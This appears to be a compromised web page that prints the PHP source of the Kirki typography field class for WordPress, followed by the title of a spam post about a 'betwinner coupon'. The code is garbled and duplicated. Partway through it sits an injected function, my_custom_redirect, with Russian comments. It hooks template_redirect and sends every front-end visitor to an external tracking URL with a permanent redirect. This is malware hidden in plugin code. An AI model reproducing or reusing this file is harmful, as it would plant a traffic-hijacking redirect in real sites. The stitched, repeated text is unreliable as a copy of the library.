self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } Want To Step Up Your betwinner coupon? You Need To Read This First - Bridging the Gap in Buyende
Uncategorized

Want To Step Up Your betwinner coupon? You Need To Read This First

Baji Affiliate Program

